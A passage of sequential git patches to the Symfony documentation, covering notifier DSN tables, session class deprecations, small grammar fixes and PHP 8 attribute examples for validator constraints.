+    The ``defer`` attribute on the ``script`` tags delays the execution of the
+    JavaScript until the page loads (similar to putting the ``script`` at the
+    bottom of the page). The ability to always add this attribute was introduced
+    in WebpackEncoreBundle 1.9.0 and is automatically enabled in that bundle's
+    recipe in the ``config/packages/webpack_encore.yaml`` file. See
+    `WebpackEncoreBundle Configuration`_ for more details.
 
 Requiring JavaScript Modules
 ----------------------------
@@ -355,3 +358,4 @@ Encore supports many more features! For a full list of what you can do, see
 
 .. _`Encore's index.js file`: https://github.com/symfony/webpack-encore/blob/master/index.js
 .. _`ECMAScript 6 modules`: https://hacks.mozilla.org/2015/08/es6-in-depth-modules/
+.. _`WebpackEncoreBundle Configuration`: https://github.com/symfony/webpack-encore-bundle#configuration
diff --git a/introduction/from_flat_php_to_symfony.rst b/introduction/from_flat_php_to_symfony.rst
index 40a421f85dd..bae9ee9a8dc 100644
--- a/introduction/from_flat_php_to_symfony.rst
+++ b/introduction/from_flat_php_to_symfony.rst
@@ -609,10 +609,10 @@ The ``layout.php`` file is nearly identical:
             <meta charset="UTF-8">
             <title>{% block title %}Welcome!{% endblock %}</title>
             {% block stylesheets %}{% endblock %}
+            {% block javascripts %}{% endblock %}
         </head>
         <body>
             {% block body %}{% endblock %}
-            {% block javascripts %}{% endblock %}
         </body>
     </html>
 

From 2755910b95f049af2339920d5f84581b5ea23dc5 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Fri, 15 Jan 2021 21:14:17 +0100
Subject: [PATCH 0389/5766] [Lock] Use .inner instead of decorating_service_id
 + '.inner'

---
 lock.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/lock.rst b/lock.rst
index a8334a12fa8..728eb85b659 100644
--- a/lock.rst
+++ b/lock.rst
@@ -293,4 +293,4 @@ you can do it by :doc:`decorating the store </service_container/service_decorati
     lock.default.retry_till_save.store:
         class: Symfony\Component\Lock\Store\RetryTillSaveStore
         decorates: lock.default.store
-        arguments: ['@lock.default.retry_till_save.store.inner', 100, 50]
+        arguments: ['@.inner', 100, 50]

From 475a87ddde48c1f4707cbe67f090a907a6bd6704 Mon Sep 17 00:00:00 2001
From: Mathias Arlaud <mathias.arlaud@gmail.com>
Date: Tue, 8 Dec 2020 17:11:20 +0100
Subject: [PATCH 0390/5766] [Notifier] Add Mercure notifier documentation

---
 notifier.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index da02d2a585d..73bdf4d86ed 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -153,6 +153,7 @@ Firebase    ``symfony/firebase-notifier``     ``firebase://USERNAME:PASSWORD@def
 GoogleChat  ``symfony/google-chat-notifier``  ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?thread_key=THREAD_KEY``
 LinkedIn    ``symfony/linked-in-notifier``    ``linkedin://TOKEN:USER_ID@default``
 Mattermost  ``symfony/mattermost-notifier``   ``mattermost://ACCESS_TOKEN@HOST/PATH?channel=CHANNEL``
+Mercure     ``symfony/mercure-notifier``      ``mercure://PUBLISHER_SERVICE_ID?topic=TOPIC``
 RocketChat  ``symfony/rocket-chat-notifier``  ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
 Slack       ``symfony/slack-notifier``        ``slack://TOKEN@default?channel=CHANNEL``
 Telegram    ``symfony/telegram-notifier``     ``telegram://TOKEN@default?channel=CHAT_ID``
@@ -170,6 +171,10 @@ Zulip       ``symfony/zulip-notifier``        ``zulip://EMAIL:TOKEN@HOST?channel
     The GoogleChat, LinkedIn, Zulip and Discord integrations were introduced in Symfony 5.2.
     The Slack DSN changed in Symfony 5.2 to use Slack Web API again same as in 5.0.
 
+.. versionadded:: 5.3
+
+    The Mercure integration was introduced in Symfony 5.3.
+
 Chatters are configured using the ``chatter_transports`` setting:
 
 .. code-block:: bash

From 9df0164ebdc1d62d200142b26126a19d2188b466 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@sensiolabs.de>
Date: Sun, 17 Jan 2021 09:45:42 +0100
Subject: [PATCH 0391/5766] deprecate the NamespacedAttributeBag class

---
 components/http_foundation/sessions.rst | 10 ++++++++++
 session.rst                             |  5 +++++
 2 files changed, 15 insertions(+)

diff --git a/components/http_foundation/sessions.rst b/components/http_foundation/sessions.rst
index 9c9479e3e5e..5756a38fc58 100644
--- a/components/http_foundation/sessions.rst
+++ b/components/http_foundation/sessions.rst
@@ -169,6 +169,11 @@ and "Remember Me" login settings or other user based state information.
 :class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\NamespacedAttributeBag`
     This implementation allows for attributes to be stored in a structured namespace.
 
+    .. deprecated:: 5.3
+
+        The ``NamespacedAttributeBag`` class is deprecated since Symfony 5.3.
+        If you need this feature, you will have to implement the class yourself.
+
 :class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBagInterface`
 has the API
 
@@ -237,6 +242,11 @@ So any processing of this might quickly get ugly, even adding a token to the arr
     $tokens['c'] = $value;
     $session->set('tokens', $tokens);
 
+.. deprecated:: 5.3
+
+    The ``NamespacedAttributeBag`` class is deprecated since Symfony 5.3.
+    If you need this feature, you will have to implement the class yourself.
+
 With structured namespacing, the key can be translated to the array
 structure like this using a namespace character (which defaults to ``/``)::
 
diff --git a/session.rst b/session.rst
index 47e8cc3d269..394cfece78b 100644
--- a/session.rst
+++ b/session.rst
@@ -167,6 +167,11 @@ By default, session attributes are key-value pairs managed with the
 :class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBag`
 class.
 
+.. deprecated:: 5.3
+
+    The ``NamespacedAttributeBag`` class is deprecated since Symfony 5.3.
+    If you need this feature, you will have to implement the class yourself.
+
 If your application needs are complex, you may prefer to use
 :ref:`namespaced session attributes <namespaced-attributes>` which are managed with the
 :class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\NamespacedAttributeBag`

From 5dba6e69b3ee57a6bb3375b4ee304688269d6c4f Mon Sep 17 00:00:00 2001
From: Al-Saleh KEITA <28827545+askeita@users.noreply.github.com>
Date: Fri, 15 Jan 2021 22:40:21 +0100
Subject: [PATCH 0392/5766] Update testing.rst

Replaced "an" by "a" (line 66)
---
 testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index c3dd66c7f9c..130ed0ab2ae 100644
--- a/testing.rst
+++ b/testing.rst
@@ -63,7 +63,7 @@ If you want to test an entire feature of your application (e.g. registering as a
 user or generating an invoice), see the section about :ref:`Functional Tests <functional-tests>`.
 
 Writing Symfony unit tests is no different from writing standard PHPUnit
-unit tests. Suppose, for example, that you have an class called ``Calculator``
+unit tests. Suppose, for example, that you have a class called ``Calculator``
 in the ``src/Util/`` directory of the app::
 
     // src/Util/Calculator.php

From bd610d3ac0f42d8a0255d86cc5bc2b2a70a7f092 Mon Sep 17 00:00:00 2001
From: Johnny Peck <johnnypeck@users.noreply.github.com>
Date: Fri, 15 Jan 2021 21:49:53 -0500
Subject: [PATCH 0393/5766] Update lock.rst

Small grammar change.
---
 components/lock.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/lock.rst b/components/lock.rst
index 55ddcf377b3..7b2c131947d 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -158,7 +158,7 @@ method, the resource will stay locked until the timeout::
 
 .. tip::
 
-    To avoid letting the lock in a locking state, it's recommended to wrap the
+    To avoid leaving the lock in a locked state, it's recommended to wrap the
     job in a try/catch/finally block to always try to release the expiring lock.
 
 In case of long-running tasks, it's better to start with a not too long TTL and

From b11628ac41a4119918b51b38f6c8572704967507 Mon Sep 17 00:00:00 2001
From: Miky Mikolaj <mikolaj.adam@gmail.com>
Date: Sun, 17 Jan 2021 17:34:39 +0100
Subject: [PATCH 0394/5766] getId(): ?Uuid missing // need test getId: ?Ulid

I added all code as in example, but i had still issue with api-platform that getId() field is wrong defined...
I have no experience with ULID !!! Please test my solution for

This solved my issue.. and now i am able create, update or delete record without any other issues.
I think that this will save lot of time for new users... because fist i thinked that must be
    public function getId(): ?UuidV4Generator
    {
        return $this->id;
    }

but with this my code was still broken...  now i know that there must be if you change primary identifier from Int to Uuid
use Symfony\Component\Uid\Uuid;
public function getId(): ?Uuid
        {
            return $this->id;
        }

....
also i think need to done the section of Uuid and Ulid for  private $someProperty; getter and setter
---
 components/uid.rst | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)

diff --git a/components/uid.rst b/components/uid.rst
index bdeb252bb65..a7fb95d5d2f 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -141,6 +141,7 @@ entity primary keys::
 
     // there are generators for UUID V1 and V6 too
     use Symfony\Bridge\Doctrine\IdGenerator\UuidV4Generator;
+    use Symfony\Component\Uid\Uuid;
 
     /**
      * @ORM\Entity(repositoryClass="App\Repository\ProductRepository")
@@ -156,6 +157,13 @@ entity primary keys::
         private $id;
 
         // ...
+        
+        public function getId(): ?Uuid
+        {
+            return $this->id;
+        }
+        
+        // ...
     }
 
 .. versionadded:: 5.2
@@ -279,6 +287,7 @@ There's also a Doctrine generator to help autogenerate ULID values for the
 entity primary keys::
 
     use Symfony\Bridge\Doctrine\IdGenerator\UlidGenerator;
+    use Symfony\Component\Uid\Ulid;    
 
     /**
      * @ORM\Entity(repositoryClass="App\Repository\ProductRepository")
@@ -294,6 +303,14 @@ entity primary keys::
         private $id;
 
         // ...
+        
+        public function getId(): ?Ulid
+        {
+            return $this->id;
+        }
+        
+        // ...
+        
     }
 
 .. versionadded:: 5.2

From b9fe645c2f413143b434d8169b74a518e7b70c40 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@sensiolabs.de>
Date: Mon, 18 Jan 2021 10:05:15 +0100
Subject: [PATCH 0395/5766] expand code example to clarify usage of the
 UserRepository

---
 security/experimental_authenticators.rst | 32 +++++++++++++++++++-----
 1 file changed, 26 insertions(+), 6 deletions(-)

diff --git a/security/experimental_authenticators.rst b/security/experimental_authenticators.rst
index c84f36ed51d..eb0ffa098e0 100644
--- a/security/experimental_authenticators.rst
+++ b/security/experimental_authenticators.rst
@@ -457,13 +457,33 @@ using :ref:`the user provider <security-user-providers>`::
     and must return a ``UserInterface`` object (otherwise a
     ``UsernameNotFoundException`` is thrown)::
 
+        // src/Security/CustomAuthenticator.php
+        namespace App\Security;
+
+        use App\Repository\UserRepository;
         // ...
-        $passport = new Passport(
-            new UserBadge($email, function ($userIdentifier) {
-                return $this->userRepository->findOneBy(['email' => $userIdentifier]);
-            }),
-            $credentials
-        );
+
+        class CustomAuthenticator extends AbstractAuthenticator
+        {
+            private $userRepository;
+
+            public function __construct(UserRepository $userRepository)
+            {
+                $this->userRepository = $userRepository;
+            }
+
+            public function authenticate(Request $request): PassportInterface
+            {
+                // ...
+
+                return new Passport(
+                    new UserBadge($email, function ($userIdentifier) {
+                        return $this->userRepository->findOneBy(['email' => $userIdentifier]);
+                    }),
+                    $credentials
+                );
+            }
+        }
 
 The following credential classes are supported by default:
 

From d75a175462ff9f8ac8ee411d66ff59d7ad6e6690 Mon Sep 17 00:00:00 2001
From: Boris Sondagh <me@borissondagh.com>
Date: Mon, 18 Jan 2021 15:27:48 +0100
Subject: [PATCH 0396/5766] Update best_practices.rst

---
 bundles/best_practices.rst | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index 696c9da58ff..80e13b8b10b 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -25,6 +25,7 @@ namespace short name, which must end with ``Bundle``.
 A namespace becomes a bundle as soon as you add a bundle class to it. The
 bundle class name must follow these rules:
 
+* Extend Symfony\Component\HttpKernel\Bundle\Bundle
 * Use only alphanumeric characters and underscores;
 * Use a StudlyCaps name (i.e. camelCase with an uppercase first letter);
 * Use a descriptive and short name (no more than two words);
@@ -41,9 +42,6 @@ Namespace                   Bundle Class Name
 ``Acme\BlogBundle``         AcmeBlogBundle
 ==========================  ==================
 
-By convention, the ``getName()`` method of the bundle class should return the
-class name.
-
 .. note::
 
     If you share your bundle publicly, you must use the bundle class name as

From 08a07c917f672bcf17f5e4bbfe070a7100ceacc6 Mon Sep 17 00:00:00 2001
From: YaFou <33806646+YaFou@users.noreply.github.com>
Date: Mon, 18 Jan 2021 19:33:41 +0100
Subject: [PATCH 0397/5766] [Security] Clarify the DeauthenticatedEvent

---
 components/security/authentication.rst | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/components/security/authentication.rst b/components/security/authentication.rst
index 4cb87975e08..1f75b433c6c 100644
--- a/components/security/authentication.rst
+++ b/components/security/authentication.rst
@@ -276,15 +276,15 @@ Authentication Events
 
 The security component provides the following authentication events:
 
-===============================  ================================================================= ==============================================================================
-Name                             Event Constant                                                    Argument Passed to the Listener
-===============================  ================================================================= ==============================================================================
-security.authentication.success  ``AuthenticationEvents::AUTHENTICATION_SUCCESS``                  :class:`Symfony\\Component\\Security\\Core\\Event\\AuthenticationSuccessEvent`
-security.authentication.failure  ``AuthenticationEvents::AUTHENTICATION_FAILURE``                  :class:`Symfony\\Component\\Security\\Core\\Event\\AuthenticationFailureEvent`
-security.interactive_login       ``SecurityEvents::INTERACTIVE_LOGIN``                             :class:`Symfony\\Component\\Security\\Http\\Event\\InteractiveLoginEvent`
-security.switch_user             ``SecurityEvents::SWITCH_USER``                                   :class:`Symfony\\Component\\Security\\Http\\Event\\SwitchUserEvent`
-security.logout_on_change        ``Symfony\Component\Security\Http\Event\DeauthenticatedEvent``    :class:`Symfony\\Component\\Security\\Http\\Event\\DeauthenticatedEvent`
-===============================  ================================================================= ==============================================================================
+===============================  ======================================================================== ==============================================================================
+Name                             Event Constant                                                           Argument Passed to the Listener
+===============================  ======================================================================== ==============================================================================
+security.authentication.success  ``AuthenticationEvents::AUTHENTICATION_SUCCESS``                         :class:`Symfony\\Component\\Security\\Core\\Event\\AuthenticationSuccessEvent`
+security.authentication.failure  ``AuthenticationEvents::AUTHENTICATION_FAILURE``                         :class:`Symfony\\Component\\Security\\Core\\Event\\AuthenticationFailureEvent`
+security.interactive_login       ``SecurityEvents::INTERACTIVE_LOGIN``                                    :class:`Symfony\\Component\\Security\\Http\\Event\\InteractiveLoginEvent`
+security.switch_user             ``SecurityEvents::SWITCH_USER``                                          :class:`Symfony\\Component\\Security\\Http\\Event\\SwitchUserEvent`
+security.logout_on_change        ``Symfony\Component\Security\Http\Event\DeauthenticatedEvent::class``    :class:`Symfony\\Component\\Security\\Http\\Event\\DeauthenticatedEvent`
+===============================  ======================================================================== ==============================================================================
 
 Authentication Success and Failure Events
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -317,7 +317,7 @@ The ``security.switch_user`` event is triggered every time you activate
 the ``switch_user`` firewall listener.
 
 The ``Symfony\Component\Security\Http\Event\DeauthenticatedEvent`` event is triggered when a token has been deauthenticated
-because of a user change, it can help you doing some clean-up task when a logout has been triggered.
+because of a user change, it can help you doing some clean-up task.
 
 .. versionadded:: 4.3
 

From 7c0db224906e62a43283971d6eac064588159623 Mon Sep 17 00:00:00 2001
From: Christopher <chris@johnstoncode.com>
Date: Tue, 19 Jan 2021 11:12:38 +0000
Subject: [PATCH 0398/5766] Added missing Dotenv use

---
 migration.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/migration.rst b/migration.rst
index 6b71a07670b..ec42dfd4a33 100644
--- a/migration.rst
+++ b/migration.rst
@@ -239,6 +239,7 @@ could look something like this::
     use App\Kernel;
     use App\LegacyBridge;
     use Symfony\Component\Debug\Debug;
+    use Symfony\Component\Dotenv\Dotenv;
     use Symfony\Component\HttpFoundation\Request;
 
     require dirname(__DIR__).'/vendor/autoload.php';

From b2be224760b653cfb0aa6f7e0d45e62c27ee0b2f Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 19 Jan 2021 09:08:55 +0100
Subject: [PATCH 0399/5766] Use Sf4 + Sf5 instead of Sf3 for bundle best
 practices

---
 bundles/best_practices.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index 696c9da58ff..c9dab120c53 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -181,15 +181,15 @@ A bundle should at least test:
 * All supported major Symfony versions (e.g. both ``4.x`` and ``5.x`` if
   support is claimed for both).
 
-Thus, a bundle supporting PHP 7.3, 7.4 and 8.0, and Symfony 3.4 and 4.x should
+Thus, a bundle supporting PHP 7.3, 7.4 and 8.0, and Symfony 4.4 and 5.x should
 have at least this test matrix:
 
 ===========  ===============  ===================
 PHP version  Symfony version  Composer flags
 ===========  ===============  ===================
-7.3          ``3.*``          ``--prefer-lowest``
-7.4          ``4.*``
-8.0          ``4.*``
+7.3          ``4.*``          ``--prefer-lowest``
+7.4          ``5.*``
+8.0          ``5.*``
 ===========  ===============  ===================
 
 .. tip::

From 00db43a4f034ff0f8412953fc4766a01e8fba791 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 19 Jan 2021 23:16:46 +0100
Subject: [PATCH 0400/5766] Just moving this note upwards
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Reasons:
* It's a *general* thing, has nothing to do with "Handlers that Modify Log Entries".
* Since this is uncommon in Symfony, it should be explained as early as possible.
* Fits quite well after this sentence:
  > This defines a stack of handlers and each handler is called in the order that it’s defined.
---
 logging.rst | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/logging.rst b/logging.rst
index 0b3481a738f..d4ed95189ba 100644
--- a/logging.rst
+++ b/logging.rst
@@ -159,6 +159,13 @@ to write logs using the :phpfunction:`syslog` function:
 This defines a *stack* of handlers and each handler is called in the order that it's
 defined.
 
+.. note::
+
+    If you want to override the ``monolog`` configuration via another config
+    file, you will need to redefine the entire ``handlers`` stack. The configuration
+    from the two files cannot be merged because the order matters and a merge does
+    not allow to control the order.
+
 Handlers that Modify Log Entries
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -263,13 +270,6 @@ debugging much easier!
     The handler named "file_log" will not be included in the stack itself as
     it is used as a nested handler of the ``fingers_crossed`` handler.
 
-.. note::
-
-    If you want to override the ``monolog`` configuration via another config
-    file, you will need to redefine the entire ``handlers`` stack. The configuration
-    from the two files cannot be merged because the order matters and a merge does
-    not allow to control the order.
-
 All Built-in Handlers
 ---------------------
 

From 26e88f7da3322a594b9eccbdce021bb6cf6fd4d4 Mon Sep 17 00:00:00 2001
From: Christin Gruber <c.gruber@touchdesign.de>
Date: Wed, 20 Jan 2021 17:26:23 +0100
Subject: [PATCH 0401/5766] Add symfony/gitter-notifier docs

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 73bdf4d86ed..a2072e79c13 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -150,6 +150,7 @@ Service     Package                           DSN
 ==========  ================================  ===========================================================================
 Discord     ``symfony/discord-notifier``      ``discord://TOKEN@default?webhook_id=ID``
 Firebase    ``symfony/firebase-notifier``     ``firebase://USERNAME:PASSWORD@default``
+Gitter      ``symfony/gitter-notifier``       ``GITTER_DSN=gitter://TOKEN@default?room_id=ROOM_ID``
 GoogleChat  ``symfony/google-chat-notifier``  ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?thread_key=THREAD_KEY``
 LinkedIn    ``symfony/linked-in-notifier``    ``linkedin://TOKEN:USER_ID@default``
 Mattermost  ``symfony/mattermost-notifier``   ``mattermost://ACCESS_TOKEN@HOST/PATH?channel=CHANNEL``
@@ -173,7 +174,7 @@ Zulip       ``symfony/zulip-notifier``        ``zulip://EMAIL:TOKEN@HOST?channel
 
 .. versionadded:: 5.3
 
-    The Mercure integration was introduced in Symfony 5.3.
+    The Gitter and Mercure integrations were introduced in Symfony 5.3.
 
 Chatters are configured using the ``chatter_transports`` setting:
 

From 748bd54c675fbe0aeb6c01f385c5e68d002d1157 Mon Sep 17 00:00:00 2001
From: Wojciech Kania <wojciech.kania@gmail.com>
Date: Sat, 14 Nov 2020 15:37:16 +0100
Subject: [PATCH 0402/5766] [Validator] Document constraints as php 8
 Attributes

---
 reference/constraints/Bic.rst                 | 13 +++
 reference/constraints/Blank.rst               | 13 +++
 reference/constraints/Callback.rst            | 30 +++++++
 reference/constraints/CardScheme.rst          | 16 ++++
 reference/constraints/Choice.rst              | 45 ++++++++++
 reference/constraints/Count.rst               | 18 ++++
 reference/constraints/Country.rst             | 13 +++
 reference/constraints/Currency.rst            | 13 +++
 reference/constraints/Date.rst                | 13 +++
 reference/constraints/DateTime.rst            | 16 ++++
 reference/constraints/DivisibleBy.rst         | 18 ++++
 reference/constraints/Email.rst               | 15 ++++
 reference/constraints/EqualTo.rst             | 18 ++++
 reference/constraints/Expression.rst          | 54 ++++++++++++
 .../constraints/ExpressionLanguageSyntax.rst  | 18 ++++
 reference/constraints/File.rst                | 17 ++++
 reference/constraints/GreaterThan.rst         | 57 +++++++++++++
 reference/constraints/GreaterThanOrEqual.rst  | 57 +++++++++++++
 reference/constraints/Hostname.rst            | 13 +++
 reference/constraints/Iban.rst                | 15 ++++
 reference/constraints/IdenticalTo.rst         | 18 ++++
 reference/constraints/Image.rst               | 34 ++++++++
 reference/constraints/Ip.rst                  | 13 +++
 reference/constraints/IsFalse.rst             | 18 ++++
 reference/constraints/IsNull.rst              | 13 +++
 reference/constraints/IsTrue.rst              | 18 ++++
 reference/constraints/Isbn.rst                | 16 ++++
 reference/constraints/Isin.rst                | 13 +++
 reference/constraints/Issn.rst                | 13 +++
 reference/constraints/Json.rst                | 15 ++++
 reference/constraints/Language.rst            | 13 +++
 reference/constraints/Length.rst              | 19 +++++
 reference/constraints/LessThan.rst            | 57 +++++++++++++
 reference/constraints/LessThanOrEqual.rst     | 57 +++++++++++++
 reference/constraints/Locale.rst              | 15 ++++
 reference/constraints/Luhn.rst                | 13 +++
 reference/constraints/Negative.rst            | 13 +++
 reference/constraints/NegativeOrZero.rst      | 13 +++
 reference/constraints/NotBlank.rst            | 13 +++
 .../constraints/NotCompromisedPassword.rst    | 13 +++
 reference/constraints/NotEqualTo.rst          | 18 ++++
 reference/constraints/NotIdenticalTo.rst      | 18 ++++
 reference/constraints/NotNull.rst             | 13 +++
 reference/constraints/Positive.rst            | 13 +++
 reference/constraints/PositiveOrZero.rst      | 13 +++
 reference/constraints/Range.rst               | 65 +++++++++++++++
 reference/constraints/Regex.rst               | 46 +++++++++++
 reference/constraints/Time.rst                | 16 ++++
 reference/constraints/Timezone.rst            | 13 +++
 reference/constraints/Traverse.rst            | 82 +++++++++++++++++++
 reference/constraints/Type.rst                | 25 ++++++
 reference/constraints/Ulid.rst                | 13 +++
 reference/constraints/Unique.rst              | 13 +++
 reference/constraints/UniqueEntity.rst        | 54 ++++++++++++
 reference/constraints/Url.rst                 | 58 +++++++++++++
 reference/constraints/UserPassword.rst        | 15 ++++
 reference/constraints/Uuid.rst                | 13 +++
 reference/constraints/Valid.rst               | 47 +++++++++++
 58 files changed, 1404 insertions(+)

diff --git a/reference/constraints/Bic.rst b/reference/constraints/Bic.rst
index 029a322e294..076cbf29b6c 100644
--- a/reference/constraints/Bic.rst
+++ b/reference/constraints/Bic.rst
@@ -41,6 +41,19 @@ will contain a Business Identifier Code (BIC).
             protected $businessIdentifierCode;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Transaction.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Transaction
+        {
+            #[Assert\Bic]
+            protected $businessIdentifierCode;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Blank.rst b/reference/constraints/Blank.rst
index 8a5ba13671a..fbbd693e013 100644
--- a/reference/constraints/Blank.rst
+++ b/reference/constraints/Blank.rst
@@ -45,6 +45,19 @@ of an ``Author`` class were blank, you could do the following:
             protected $firstName;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Blank]
+            protected $firstName;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Callback.rst b/reference/constraints/Callback.rst
index 6985f3953e1..d15337ba9b5 100644
--- a/reference/constraints/Callback.rst
+++ b/reference/constraints/Callback.rst
@@ -50,6 +50,23 @@ Configuration
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Context\ExecutionContextInterface;
+
+        class Author
+        {
+            #[Assert\Callback]
+            public function validate(ExecutionContextInterface $context, $payload)
+            {
+                // ...
+            }
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -178,6 +195,19 @@ You can then use the following configuration to invoke this validator:
         {
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Acme\Validator;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        #[Assert\Callback([Validator::class, 'validate'])]
+        class Author
+        {
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/CardScheme.rst b/reference/constraints/CardScheme.rst
index 64d6157e2c8..d93224e1a5a 100644
--- a/reference/constraints/CardScheme.rst
+++ b/reference/constraints/CardScheme.rst
@@ -41,6 +41,22 @@ on an object that will contain a credit card number.
             protected $cardNumber;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Transaction.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Transaction
+        {
+            #[Assert\CardScheme(
+                schemes: [Assert\CardScheme::VISA],
+                message: 'Your credit card number is invalid.',
+            )]
+            protected $cardNumber;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Choice.rst b/reference/constraints/Choice.rst
index fd8481d6152..4afa6b516d9 100644
--- a/reference/constraints/Choice.rst
+++ b/reference/constraints/Choice.rst
@@ -58,6 +58,24 @@ If your valid choice list is simple, you can pass them in directly via the
             protected $genre;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            const GENRES = ['fiction', 'non-fiction'];
+
+            #[Assert\Choice(['New York', 'Berlin', 'Tokyo'])]
+            protected $city;
+
+            #[Assert\Choice(choices: Author::GENRES, message: 'Choose a valid genre.')]
+            protected $genre;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -160,6 +178,19 @@ constraint.
             protected $genre;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Choice(callback: 'getGenres')]
+            protected $genre;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -225,6 +256,20 @@ you can pass the class name and the method as an array.
             protected $genre;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use App\Entity\Genre
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Choice(callback: [Genre::class, 'getGenres'])]
+            protected $genre;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Count.rst b/reference/constraints/Count.rst
index 4ce4691c6c9..c40294a8684 100644
--- a/reference/constraints/Count.rst
+++ b/reference/constraints/Count.rst
@@ -47,6 +47,24 @@ you might add the following:
             protected $emails = [];
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Participant.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Participant
+        {
+            #[Assert\Count(
+                min: 1,
+                max: 5,
+                minMessage: 'You must specify at least one email',
+                maxMessage: 'You cannot specify more than {{ limit }} emails',
+            )]
+            protected $emails = [];
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Country.rst b/reference/constraints/Country.rst
index 744de6dd0fb..62bf38bf2ba 100644
--- a/reference/constraints/Country.rst
+++ b/reference/constraints/Country.rst
@@ -33,6 +33,19 @@ Basic Usage
             protected $country;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class User
+        {
+            #[Assert\Country]
+            protected $country;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Currency.rst b/reference/constraints/Currency.rst
index 651af1b1a92..e481c0ce01d 100644
--- a/reference/constraints/Currency.rst
+++ b/reference/constraints/Currency.rst
@@ -35,6 +35,19 @@ a valid currency, you could do the following:
             protected $currency;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Order.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Order
+        {
+            #[Assert\Currency]
+            protected $currency;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Date.rst b/reference/constraints/Date.rst
index 4b1e99c3ed1..7376195960a 100644
--- a/reference/constraints/Date.rst
+++ b/reference/constraints/Date.rst
@@ -34,6 +34,19 @@ Basic Usage
             protected $birthday;
         }
 
